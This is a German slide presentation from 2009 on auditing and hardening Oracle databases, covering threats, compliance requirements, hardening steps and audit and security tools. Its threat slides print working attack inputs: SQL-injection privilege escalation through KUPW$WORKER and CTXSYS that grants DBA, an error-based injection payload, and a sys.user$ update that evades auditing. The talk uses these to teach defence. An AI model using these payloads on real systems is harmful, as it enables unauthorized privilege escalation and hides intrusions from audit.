Auditing und Härtung von Oracle Datenbanken
Auditing und Härtung von Oracle Datenbanken Seite 1
Nadjibullah Rajab • Bereichsleiter
OPITZ CONSULTING Gummersbach GmbH
Essen, 22.04.2009
Agenda
● Bedrohungen
● Auditing● Vorgaben/Anforderungen
● Methoden
● Überblick Audit Vault
● Härten einer Datenbank
Auditing und Härtung von Oracle Datenbanken Seite 2
● Härten einer Datenbank● Die wichtigsten Schritte
● Tools und Techniken● Oracle Audit Vault
● Sentrigo Hedgehog
● RepScan
● Sonstige Tools
1 Bedrohungen
Auditing und Härtung von Oracle Datenbanken Seite 3
Mit geklonten Debit-Karten haben US-Berichten
zufolge Kriminelle innerhalb weniger Stunden
neun Millionen US-Dollar von 130
Geldautomaten in 49 Städten weltweit
abgehoben.“
Externe Bedrohung
Auditing und Härtung von Oracle Datenbanken Seite 4
abgehoben.“
06.02.2009 bei heise online
Eine Spionagesoftware soll über mehrere
Wochen hinweg Kreditkartendaten bei
Heartland Payment Systems (Kreditkarten-
Transaktionsdienstleister in USA ) ausgespäht
haben.
Externe Bedrohung
Auditing und Härtung von Oracle Datenbanken Seite 5
haben.
21.01.2009 bei heise online
Externe Bedrohung
What really happened to usa.kaspersky.com/support?
“.. we confirm that the vulnerability existed in the new version of usa.kaspersky.com/support. We analyzed the log files and found requests with SQL injection. There were several attackers with IP addresses from Romanian ISPs. The requests were initially made with an automated tool - the screenshots showed that the hackers
Auditing und Härtung von Oracle Datenbanken
with an automated tool - the screenshots showed that the hackers used a variant of an Acunetix tool.
Quelle : http://www.viruslist.com (02.09.2008)
Seite 6
„ A study conducted by security firm Cyber-Ark
indicates that ? percent of system
administrators steal sensitive company data
and one third would take password lists with
them if fired.“
Interne Bedrohung
Auditing und Härtung von Oracle Datenbanken Seite 7
them if fired.“
02.09.2008 bei arstechnica.com
„ A study conducted by security firm Cyber-Ark
indicates that 88 (!) percent of system
administrators steal sensitive company data
and one third would take password lists with
them if fired.“
Interne Bedrohung
Auditing und Härtung von Oracle Datenbanken Seite 8
them if fired.“
02.09.2008 bei arstechnica.com
Motivation der Angreifer
● Kommerzielles Interesse
● „Suche nach Gerechtigkeit“ (gefeuerte oder frustrierte MA,
Grey-Hat Hacker etc.)
Auditing und Härtung von Oracle Datenbanken
● Spezialisierung der Angreifer
● Security oft keine Präventiv-Maßnahme
● Mehr Wissen über Sicherheitslücken
Seite 9
Informationen im Internet
● Sicherheitslücken werden im Internet veröffentlicht:
Auditing und Härtung von Oracle Datenbanken Seite 10
Beispiele
● SQL Injection in Webanwendungen bzw. Prozeduren
● Angriffe mit speziellen Tools
● Sicherheitslücken in der Oracle Optionen
Auditing und Härtung von Oracle Datenbanken Seite 11
● Fehlermeldungen mit Datenbank-Inhalten
● Google „Hacking“
● Umgehen von Oracle Auditing
Beispiel: SQL Injection
● Eskalation der Privilegien mit SQL InjectionKUPW$WORKER in Oracle 10g R1 (gelöst in CPU 07.2006):
CREATE OR REPLACE FUNCTION F return number
authid current_user as
pragma autonomous_transaction;
BEGIN
Auditing und Härtung von Oracle Datenbanken
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;
/
exec sys.kupw$WORKER.main('x','YY'' and 1=d.f -- r6');
Quelle: red-database-security.com
Seite 12
Beispiel: Angriffe mit Tools
Auditing und Härtung von Oracle Datenbanken Seite 13
Beispiel: Sicherheitslücken in der Oracle Optionen
● Eskalation von Privilegien mit CTXSYS in Oracle 8i und 9i:
sqlplus scott/tiger@ora902
SQL> exec ctxsys.driload.validate_stmt('grant dba to
scott');
BEGIN ctxsys.driload.validate_stmt('grant dba to scott');
Auditing und Härtung von Oracle Datenbanken
BEGIN ctxsys.driload.validate_stmt('grant dba to scott');
END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
Quelle: red-database-security.com
Seite 14
Beispiel: Fehlermeldungen mit Datenbank-Inhalten
' or1=ctxsys.drithsx.sn(1,(select sys.stragg(distinctbanner)||' '
fromv$version))--
Auditing und Härtung von Oracle Datenbanken Seite 15
Beispiel: Google Hacking
Auditing und Härtung von Oracle Datenbanken Seite 16
Beispiel: Umgehen von Oracle Auditing
● Das Auditing von Oracle kann umgegangen werden:
SQL> audit create user;
SQL> create role hacker identified by hacker;
SQL> update sys.user$ set type#=1 where name='HACKER';
SQL> select username from dba_users where
username='HACKER';
Auditing und Härtung von Oracle Datenbanken
username='HACKER';
USERNAME
------------------------------
HACKER
● Alternativ können einige zu auditierenden Operationen in Prozeduren/Funktionen versteckt werden
Seite 17
2 Auditing
Auditing und Härtung von Oracle Datenbanken Seite 18
Vorgaben
● Sarbanes-Oxley-Act
● HIPAA
● PCI-DSS
Auditing und Härtung von Oracle Datenbanken Seite 19
● BASEL II
● Weitere gesetzliche Vorgaben
Anforderungen
● Management:● Wer arbeitet wann mit welchen (verbotenen?) Daten
● Auditoren:● Rollentrennung: Security Admin <=> DBA
● Alarme und Reports
Auditing und Härtung von Oracle Datenbanken Seite 20
● Integrität der Audit-Daten
● IT:● Keine Einschränkung bei der tägl. Arbeit
● Keine Performance-Einbußen
Audit-Methoden
● Trigger● Programmieraufwändig
● Keine SELECT‘s
● LogMiner● Nur DML‘s und DDL‘s
Auditing und Härtung von Oracle Datenbanken Seite 21
● Keine SELECT‘s
● Auditing● Schlechte Auswertung
● Kein Schutz vor Veränderung der gesammelten Daten
Lösung: Oracle Audit Vault oder 3-rd Party Tools
Oracle Audit Vault
Übersicht
● Konsolidierung verschiedener Audit-Trails
● Sichere Aufbewahrung der Audit-Daten
Auditing und Härtung von Oracle Datenbanken Seite 22
● Zentrales Management
● Zentrales Alerting
● Zentrales Reporting
Oracle Audit Vault
Architektur
Audit Vault Agent
Source
AV_ADMIN
AV_AUDITOR
Auditing und Härtung von Oracle Datenbanken Seite 23
Source-DB
DatawarehouseManagement
ReportsAlerts
Audit Vault
Source
Collector
DBAUDOSAUDREDO
Source
Collector
DBAUDOSAUDREDO
Audit-Tools
Oracle Audit Vault
Auditing und Härtung von Oracle Datenbanken Seite 24
3 Härten von Datenbanken
Auditing und Härtung von Oracle Datenbanken Seite 25
● Die Datenbanken sind angreifbar trotz:
● Firewalls
● Aktuelles Virenscanner
● Aktuelle OS Patches
Auditing und Härtung von Oracle Datenbanken
● Aktuelle OS Patches
Seite 26
Härten von Datenbanken
Bundesamt für Sicherheit in der Informationstechnik (BSI):
„Härten (engl. Hardening) bedeutet in der IT-Sicherheit die Entfernung aller Software-Bestandteile und Funktionen, die zur Erfüllung der vorgesehenen Aufgabe durch das Programm nicht zwingend notwendig sind.“
Auditing und Härtung von Oracle Datenbanken Seite 28
zwingend notwendig sind.“
Härten von Datenbanken
● Größte Sicherheit durch:
● Installation nach Minimum Prinzip
● Aktuelle Patch-Sets
● Critical Patch Updates
Auditing und Härtung von Oracle Datenbanken Seite 29
Optionen, Features und Bespielschemata
Nur benötigte Komponenten installieren
● Installierte Komponenten:V$OPTION und DBA_REGISTRY
● Verwendete Komponenten: DBA_FEATURE_USAGE_STATISTICS
Auditing und Härtung von Oracle Datenbanken Seite 31
● Deinstallieren von Expression Filter-Feature durch $ORACLE_HOME/rdbms/admin/catnoexf.sql
● Demo-Schemata löschen: $ORACLE_HOME/demo/schema/human_resources/hr_drop.sql
Benutzermanagement und Passwörter
● Nicht mehr benötigte Accounts: EXPIRED & LOCKED
● Nur wirklich benötigte Privilegien vergeben (least privileges)
● Default-Passwörter ändern● Password Verify Function ($ORACLE_HOME/rdbms/admin/
utlpwdmg.sql)
Auditing und Härtung von Oracle Datenbanken Seite 32
utlpwdmg.sql)
● Nicht ALTER USER; besser: PASSW
● Batch-Jobs mit Secure External Password Store-Feature sichern
● Oracle Data Dictionary Protection aktivieren
● Benutzerprofile verwenden
init.ora-Parameter und PL/SQL-Packages
● init.ora-Parameter:
● REMOTE_OS_AUTHENT auf FALSE setzen
● O7_DICTIONARY_ACCESSIBILITY = FALSE
Auditing und Härtung von Oracle Datenbanken Seite 33
● PL/SQL-Packages
● UTL_* ausschalten (Default in 11g)
● User PUBLIC EXECUTE-Recht entziehen
Oracle Network Configuration
● Netwerk-Traffic verschlüsseln
● Positiv-/Negativ-Liste der Hosts in SQLNET.ORA
● Listener Default-Port 1521 ändern
Auditing und Härtung von Oracle Datenbanken Seite 34
● Service EXTPROC ggf. ausschalten bzw. entfernen
● Listener durch Passwort schützen
Dateien und Verzeichnisse
● Sicherungskopien von Oracle Binarys löschen (oder chmod 000)
● chmod 700 auf alle Oracle Binarys
● umask auf 177 setzen (777 � 600)
Auditing und Härtung von Oracle Datenbanken Seite 35
Dokumenationen
● http://www.oracle.com/technology/deploy/security/database-security/pdf/twp_security_checklist_database.pdf
● http://www.oracle.com/technology/pub/articles/project_lockdown/project-lockdown.pdf
Auditing und Härtung von Oracle Datenbanken Seite 36
4 Tools und Techniken
Auditing und Härtung von Oracle Datenbanken Seite 37
Tools
Audit-Tools
● Oracle Audit Vault
● Sentrigo Hedgehog
Security-Tools
Auditing und Härtung von Oracle Datenbanken Seite 38
Security-Tools
● Repscan
● Oracle Database Vault
● Virtual Private Database
● Data Masking
● Oracle Label Security
● Oracle Advanced Security Option
● Transparent Data Encryption
Audit-Tools
Sentrigo Hedgehog
● Realzeit Alarmierung und Prävention von Attacken
● Sensitive Daten können auf Objektlevel überwacht werden
● Virtual Patching
Auditing und Härtung von Oracle Datenbanken Seite 39
● Verteilung von Überwachungskonfigurationen
● Keine Performance-Einbußen (Überwachung der SGA)
● Einfachste Installation
● Auch MSSQL- und Sybase-DB
Audit-Tools
Architektur:
Sentrigo Sensor
Sentrigo Server
Sentrigo Sensor
Auditing und Härtung von Oracle Datenbanken Seite 40
Source-DBSource-DB
Audit-Tools
Auditing und Härtung von Oracle Datenbanken Seite 41
Audit-Tools
Oracle Audit Vault (OAV) vs. Sentrigo Hedgehog (SH)
● OAM sehr aufwändig zu installieren
● OAM auditiert nur, greift aber nicht ein
● Fertig definierte Compliance Regeln in SH
Auditing und Härtung von Oracle Datenbanken Seite 42
● Fertig definierte Compliance Regeln in SH
● SH schließt Sicherheitslücken, ohne CPU (vPatch)
● In SH können neue DBs einfach integriert werden
Security-Tools
Repscan
● Security Scanner für Oracle Datenbanken
● Spürt Modifikationen im Oracle Dictionary auf
● Findet Standard und „schwache“ Passwörter (z.B. SCOTT/tiger)
Auditing und Härtung von Oracle Datenbanken Seite 43
● Findet Standard und „schwache“ Passwörter (z.B. SCOTT/tiger)
● Alarmiert vor unsicheren Systemkonfigurationen
● Anbindung an Hedgehog
● Übersichtliche Reports
Repscan
Auditing und Härtung von Oracle Datenbanken Seite 44
RepScan Report
Auditing und Härtung von Oracle Datenbanken Seite 45
Security-Tools
Demo
● Repscan
● Hedgehog
Auditing und Härtung von Oracle Datenbanken Seite 46
&
Auditing und Härtung von Oracle Datenbanken Seite 47
Fragen & Antworten
&
Kontakt:
Nadjibullah RajabOPITZ CONSULTING [email protected]
Auditing und Härtung von Oracle Datenbanken Seite 48
[email protected]+49 2261 6001 0
Vielen Dank für Ihre Aufmerksamkeit !